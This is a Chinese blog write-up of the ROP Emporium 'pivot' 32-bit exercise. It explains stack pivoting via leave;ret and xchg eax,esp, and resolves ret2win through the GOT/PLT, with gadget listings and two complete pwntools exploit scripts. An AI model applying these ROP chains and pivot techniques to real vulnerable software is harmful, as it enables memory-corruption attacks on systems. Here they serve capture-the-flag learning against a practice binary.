1、栈迁移
由于某些条件限制先栈空间不足写长的ROP,需要把主要的ROP写到其他区域。在可写栈区域写一个短的ROP,完成跳转到长ROP区域,完成最终的代码执行。栈迁移有两种方法,方法一,通过两次 leave ret完成,方法二,通过控制栈顶寄存器esp,使其跳转到长ROP区域。
方法一:
汇编语言leave_ret指令 leave相当于mov esp ebp + pop ebp mov esp ebp操作指将ebp的值赋给esp,也就是让esp指向ebp所指的地方 pop ebp操作指将栈上ebp所指向的内容pop出来
通过填充数据将ebp覆盖成我们想让函数执行流去到的地方(dss/data/堆区) 然后在填入leave_ret 指令 特别注意的是:其实在函数执行到我们填入的leave_ret指令之前,函数内自己也有一段leave_ret 指令,也就是说,我们这个设置栈溢出,leave_ret 指令它执行了两次。 实际上,这里执行了两次的leave_ret过程。第一次函数运行结束后,进行leave的时候,会把ebp丢到堆空间的地方。然后利用第一次ret跳转到leave_ret的gadget的地方再执行一次leave_ret,从而将esp也弄到堆空间的payload_1处。由于每次ret都会使得esp+4,所以,伪造的ebp的地址要减去4。
方法二:
需要构造ROP重写esp栈顶寄存器。不需要控制ebp寄存器。
2、查找未调用函数的真实地址
原理,由于plt表与got表的特性,函数第一次调用时plt表指向的got表中存储的执行在plt表中查找函数真实地址的函数地址,查找到函数真实地址后,存储到got表的原来表项中替换掉查找函数的指向地址。以题目为例, foothold_function函数,先调用利用利用plt表中的地址调用一次后,在plot表中会存储其真实地址,利用foothold_function函数与ret2win函数在libpivot32.so的便宜差,通过foothold_function真实地址,计算出ret2win函数的真实地址。
我们可以在pivot32的二进制找到foothold_function的plt和got表项,还可以在libpivot32.so找到ret2win这个函数。
##
3、wp
在IDA中分析文件pivot32文件,溢出函数pwnme
int __cdecl pwnme(void *buf) { char s[40]; // [esp+0h] [ebp-28h] BYREF memset(s, 0, 0x20u); puts("Call ret2win() from libpivot"); printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", buf); puts("Send a ROP chain now and it will land there"); printf("> "); read(0, buf, 0x100u); puts("Thank you!\n"); puts("Now please send your stack smash"); printf("> "); read(0, s, 0x38u); return puts("Thank you!"); }
发现可写的字符空间为0x38-0x28-0x4(ebp)-0x4(eip)=8,空间太小。
在main函数中创建了一个堆区域,题目为了简单,把堆区的地址进行了输出。
在libpiovt32.so文件中找到ret2win函数如下。
void __noreturn ret2win() { FILE *stream; // [esp+4h] [ebp-34h] char s[33]; // [esp+Bh] [ebp-2Dh] BYREF unsigned int v2; // [esp+2Ch] [ebp-Ch] v2 = __readgsdword(0x14u); stream = fopen("flag.txt", "r"); if ( !stream ) { puts("Failed to open file: flag.txt"); exit(1); } fgets(s, 33, stream); puts(s); fclose(stream); exit(0); }
根据题目提示,在栈区完成栈迁移,在堆区调用ret2win函数。
foothold_function .got.plt 804A024 .plt 08048520 call 8048520 <foothold_function@plt>
题目分析
(1)运行程序得到堆区地址:0xf7dfbf08
The Old Gods kindly bestow upon you a place to pivot: 0xf7dfbf08
(2)read(0, s, 0x38u);函数结束时执行leave ;ret;需要找到,leave;ret;ROP链
(3)获取ret2win真实地址,需要获取foothold_function函数的真实地址,以及在lib中ret2win与foothold_function的偏移量,然后计算,需要pop;mov res [res];addROP
# ROPgadget --binary pivot32 --only "pop|ret|mov|add|call|leave" Gadgets information ============================================================ 0x08048668 : add al, 8 ; add ecx, ecx ; ret 0x080485ee : add al, 8 ; call eax 0x0804863b : add al, 8 ; call edx 0x08048831 : add bl, al ; add eax, ebx ; ret 0x080485ff : add bl, dh ; ret 0x080485fd : add byte ptr [eax], al ; add bl, dh ; ret 0x080485fc : add byte ptr [eax], al ; add byte ptr [eax], al ; ret 0x080484a4 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret 0x080485fe : add byte ptr [eax], al ; ret 0x08048665 : add eax, 0x804a040 ; add ecx, ecx ; ret 0x08048833 : add eax, ebx ; ret 0x0804866a : add ecx, ecx ; ret 0x080485f2 : add esp, 0x10 ; leave ; ret 0x08048895 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080484a6 : add esp, 8 ; pop ebx ; ret 0x0804857b : call 0x80485a9 0x0804848c : call 0x80485c6 0x080485f0 : call eax 0x0804863d : call edx 0x080485f5 : leave ; ret 0x08048667 : mov al, byte ptr [0xc9010804] ; ret 0x080485ed : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret 0x0804863a : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret 0x08048664 : mov byte ptr [0x804a040], 1 ; leave ; ret 0x08048830 : mov eax, dword ptr [eax] ; ret 0x080485a3 : mov ebx, dword ptr [esp] ; ret 0x080485fa : mov esp, 0x27 ; add bl, dh ; ret 0x0804882c : pop eax ; ret 0x0804889b : pop ebp ; ret 0x08048898 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080484a9 : pop ebx ; ret 0x0804889a : pop edi ; pop ebp ; ret 0x08048899 : pop esi ; pop edi ; pop ebp ; ret 0x080488b0 : pop ss ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret 0x08048492 : ret 0x0804861e : ret 0xeac1 Unique gadgets found: 36 栈迁移 0x080485f5 : leave ; ret leave_ret=0x080485f5 ROP区 foothold_function.plt pop foothold_function.got mov res [res] pop osset add res osset call res 0x0804882c : pop eax ; ret 0x08048830 : mov eax, dword ptr [eax] ; ret 0x080484a9 : pop ebx ; ret 0x08048833 : add eax, ebx ; ret 0x080485f0 : call eax pop_eax=0x0804882c mov_eax_eax=0x08048830 pop_ebx=0x080484a9 add_eax_ebx=0x08048833 call_eax=0x080485f0
gdb调试
地址 heap_addr= 0xf7dfbf08 leave_ret=0x080485f5 pop_eax=0x0804882c mov_eax_eax=0x08048830 pop_ebx=0x080484a9 add_eax_ebx=0x08048833 call_eax=0x080485f0 foothold_plt=0x8048520 foothold_got=0x804a024 offset=503 payload1=p32(foothold_plt) payload1+=p32(pop_eax) payload1+=p32(foothold_got) payload1+=p32(mov_eax_eax) payload1+=p32(pop_ebx) payload1+=p32(offset) payload1+=p32(add_eax_ebx) payload1+=p32(call_eax) payload2=b'a'*(0x28) payload2+=p32(heap_addr-4) payload2+p32(leave_ret) payload2 set $ebp=0xf7dfbf08-4 set $ebp+4=0x080485f5
方法二中,修改esp到堆区
# ROPgadget --binary pivot32 --only "pop|ret|xchg" Gadgets information ============================================================ 0x0804882c : pop eax ; ret 0x0804889b : pop ebp ; ret 0x08048898 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080484a9 : pop ebx ; ret 0x0804889a : pop edi ; pop ebp ; ret 0x08048899 : pop esi ; pop edi ; pop ebp ; ret 0x08048492 : ret 0x0804861e : ret 0xeac1 0x0804882e : xchg eax, esp ; ret 0x0804882c : pop eax ; ret 0x0804882e : xchg eax, esp ; ret pop_eax=0x0804882c xchg_eax_esp=0x0804882e payload2: payload2=b'a'*(0x28+4) payload2+=p32(0x0804882c) payload2+=p32(heap_addr) payload2+=p32(xchg_eax_esp) 长度:0x28+4+4*3=0x38
exp
from pwn import * p=process('./pivot32') e=ELF('./pivot32') lib=ELF('./libpivot32.so') heap_addr=0xf7dfbf08 leave_ret=0x080485f5 pop_eax=0x0804882c mov_eax_eax=0x08048830 pop_ebx=0x080484a9 add_eax_ebx=0x08048833 call_eax=0x080485f0 xchg_eax_esp=0x0804882e foothold_plt=e.plt['foothold_function'] foothold_got=e.got['foothold_function'] offset = int(lib.sym['ret2win']-lib.sym['foothold_function']) print(hex(foothold_plt),hex(foothold_got),offset) #print(p.recv()) recv=p.recv() heap_addr=int(recv.split()[20],16) print(recv) print(hex(heap_addr)) payload1=p32(foothold_plt) payload1+=p32(pop_eax) payload1+=p32(foothold_got) payload1+=p32(mov_eax_eax) payload1+=p32(pop_ebx) payload1+=p32(offset) payload1+=p32(add_eax_ebx) payload1+=p32(call_eax) print("send payload1") p.sendline(payload1) print(p.recvuntil('>')) #方法一 #payload2=b'a'*(0x28) #payload2+=p32(heap_addr-4) #payload2+p32(leave_ret) #方法二 payload2=b'a'*(0x28+4) payload2+=p32(pop_eax) payload2+=p32(heap_addr) payload2+=p32(xchg_eax_esp) print("send payload2") p.sendline(payload2) print(p.recv(1024)) print(p.recvall()) print("all") # python3 pivot32.py [+] Starting local process './pivot32': pid 7452 [*] '/home/wdp/Desktop/pwn/rop/pivot32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RUNPATH: b'.' [*] '/home/wdp/Desktop/pwn/rop/libpivot32.so' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled 0x8048520 0x804a024 503 b'pivot by ROP Emporium\nx86\n\nCall ret2win() from libpivot\nThe Old Gods kindly bestow upon you a place to pivot: 0xf7d7ef08\nSend a ROP chain now and it will land there\n> ' 0xf7d7ef08 send payload1 b'Thank you!\n\nNow please send your stack smash\n>' send payload2 b' ' [+] Receiving all data: Done (126B) [*] Process './pivot32' stopped with exit code 0 (pid 7452) b'Thank you!\nfoothold_function(): Check out my .got.plt entry to gain a foothold into libpivot\nROPE{a_placeholder_32byte_flag!}\n' all
exp
* # coding:utf-8 * from pwn import * * * sh = process('./pivot32') * elf = ELF('./pivot32') * * libc = ELF('./libpivot32.so') * * foothold_function_got = elf.got['foothold_function'] * foothold_function_plt = elf.plt['foothold_function'] * foothold_function_libc = libc.symbols['foothold_function'] * ret2win_libc = libc.symbols['ret2win'] * * sh.recvuntil('pivot: ') * shellcode_addr = int(sh.recv(10), 16) * * pop_eax_addr = 0x80488c0 * xchg_addr = 0x080488c2 * mov_addr = 0x080488c4 * add_addr = 0x080488c7 * * pop_ebx_addr = 0x08048571 * jmp_addr = 0x08048a5f * * payload1 = p32(foothold_function_plt) # 调用foothold_function函数,调用时会将foothold_function函数的实际地址写入到GOT表中 * payload1 += p32(pop_eax_addr) + p32(foothold_function_got)# 将foothold_function函数的GOT地址写入eax寄存器 * payload1 += p32(mov_addr) # 将foothold_function函数的GOT地址指向的地址放入eax寄存器,即foothold_function函数在内存中的真实地址 * payload1 += p32(pop_ebx_addr) + p32(ret2win_libc - foothold_function_libc) # 将ret2win函数与foothold_function函数在libc.so文件中的相对偏移放入ebx * payload1 += p32(add_addr) # foothold_function函数真实地址加上ret2win相对于foothold_function函数的offset即得ret2win函数在内存中的实际地址 * payload1 += p32(jmp_addr) # 使程序跳转到eax中的地址,即泄露的堆空间的入口位置 * * sh.recvuntil('>') * sh.sendline(payload1) * * payload2 = 'a' * (0x28 + 0x4) # padding * payload2 += p32(pop_eax_addr) + p32(shellcode_addr) # 堆空间的地址放入eax寄存器 * payload2 += p32(xchg_addr) # 交换eax和esp的值,也就是说程序分配的对空间就被当成栈,交换eax和esp的值,也就是说程序分配的堆空间就被当成栈,ret就会返回到栈顶去执行我们精心设计好的shellcode * * sh.recvuntil('smash') * sh.sendline(payload2) * * sh.interactive() * sh.close()
【rop emporium 2020】pivot_破落之实的博客-CSDN博客